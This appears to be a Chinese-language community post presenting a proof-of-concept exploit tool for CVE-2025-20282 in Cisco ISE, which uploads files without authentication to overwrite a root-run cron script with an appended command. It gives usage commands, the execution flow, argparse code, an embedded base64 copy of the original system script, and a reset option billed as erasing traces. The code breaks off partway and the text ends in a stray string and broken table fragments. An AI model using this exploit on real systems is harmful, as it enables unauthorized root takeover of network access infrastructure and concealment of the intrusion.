
这是一个针对 Cisco Identity Services Engine (ISE) 中高危漏洞 (CVE-2025-20282) 的概念验证 (PoC) 利用工具。该工具展示了如何通过未授权的文件上传功能,将恶意文件植入目标系统,最终实现以 Root 权限执行任意命令。
/admin/files-upload/ 接口,无需任何身份验证即可上传文件。--reset 参数,可将被篡改的系统文件恢复到原始状态,增加了隐蔽性和可测试性。本脚本仅依赖 Python 标准库,无需安装额外的第三方包。
该脚本通过命令行参数指定目标 IP 和要执行的命令。
1. 执行恶意命令
以下示例将在目标 Cisco ISE 设备上以 Root 权限执行 id 命令,并将结果写入 /tmp/pwned 文件。
python exploit.py --ip 192.168.1.100 --command "id > /tmp/pwned"执行流程:
bin 目录。bin 目录下生成 isehourlycron.sh 文件,内容为原始系统脚本 + 您指定的命令。bin 目录打包成 output.zip。output.zip 通过未授权接口上传到目标服务器 (192.168.1.100)。/opt/CSCOcpm/bin/isehourlycron.sh。2. 恢复原始文件
如果您需要清除痕迹或恢复到初始状态,可以使用 --reset 参数。
python exploit.py --ip 192.168.1.100 --reset该命令会上传一个只包含原始内容、不含恶意命令的 isehourlycron.sh 文件,覆盖被篡改的文件。
参数 | 类型 | 必填 | 描述 |
|---|---|---|---|
|
| 是 | 目标 Cisco ISE 设备的 IP 地址。 |
|
| 否* | 要在目标系统上执行的命令。 |
|
| 否* | 重置模式。如果设置此标志,将忽略 |
脚本使用 argparse 解析用户输入的参数,包括目标 IP、要执行的命令以及重置标志。这些参数决定了脚本的运行模式。
import argparse
parser = argparse.ArgumentParser(description="PoC with --reset flag to toggle behavior.")
parser.add_argument('--reset', action='store_true', help='Trigger reset behavior')
parser.add_argument('--command', type=str, required=True, help='Command to be executed')
parser.add_argument('--ip', type=str, required=True, help='Target IP address')
args = parser.parse_args()
COMMAND = args.command
IP = args.ip脚本的核心逻辑之一是生成被篡改的系统文件。原始系统文件内容以 Base64 编码硬编码在脚本中。解码后,脚本会根据 --reset 标志决定是在文件末尾追加恶意命令,还是保留原始内容。
# Original file under /opt/CSCOcpm/bin/ named isehourlycron.sh
isehourlycron = "IyEvYmluL3NoCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojICAgICBGaWxlbmFtZTogaXNlaG91cmx5Y3Jvbi5zaAojICBEZXNjcmlwdGlvbjogU2hlbGwgc2NyaXB0IHRvIHBlcmZvcm0gaG91cmx5IGNsZWFudXAKIyAgICAgICAgVXNhZ2U6IENhbGxlZCBmcm9tIHN5c3RlbSBzY2hlZHVsZXIKIyAgICAgICBBdXRob3I6IGVkZGllbUBjaXNjby5jb20KIwojIENvcHlyaWdodCAoYykgMjAwOS0yMDE1IENpc2NvIFN5c3RlbXMsIEluYy4gIFRoaXMgcHJvZ3JhbSBjb250YWlucwojIHByb3ByaWV0YXJ5IGFuZCBjb25maWRlbnRpYWwgaW5mb3JtYXRpb24uICBBbGwgcmlnaHRzIHJlc2VydmVkCiMgZXhjZXB0IGFzIG1heSBiZSBwZXJtaXR0ZWQgYnkgcHJpb3Igd3JpdHRlbiBjb25zZW50LgojCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoKc291cmNlIC9vcHQvQ1NDT2NwbS9jb25maWcvY3BtZW52LnNoCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIwojIElmIGF2YWlsYWJsZSBmaWxlc3lzdGVtIHNwYWNlIGRyb3BzIGJlbG93IDVHYiwgYW5kIHVuZG8gCiMgdW5kbyB0YWJsZXNwYWNlIGlzIG92ZXIgMTBHYiwgdGhlbiBkcm9wIGFuZCByZWNyZWF0ZQojIHRoZSB1bmRvIHRhYmxlc3BhY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKY2xlYW51cHVuZG90YWJsZXNwYWNlKCkKewogIAogICAgY2F0ID4gL3RtcC9kcm9wdW5kby5zcWwgPDwgRU9GCnNldCBzZXJ2ZXJvdXQgb247CmRlY2xhcmUKdmFyIHZhcmNoYXIyKDEwMDApOwpiZWdpbgpiZWdpbgpleGVjdXRlIGltbWVkaWF0ZSAnc2VsZWN0IE5BTUUgZnJvbSB1bmRvZHJvcCcgaW50byB2YXIgOwpFWENFUFRJT04gV0hFTiBPVEhFUlMgVEhFTiBudWxsOwpyZXR1cm47CmVuZDsKaWYgICB2YXI9Jw=="
# 解码原始文件内容
# 根据 --reset 标志决定是否追加命令
# ... (后续处理逻辑)
```FINISHED6HFtX5dABrKlqXeO5PUv/8+rhoeqMCA1qzr2lMYiJ3GXrjM2WSU9FiWwYwOtmhhT
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。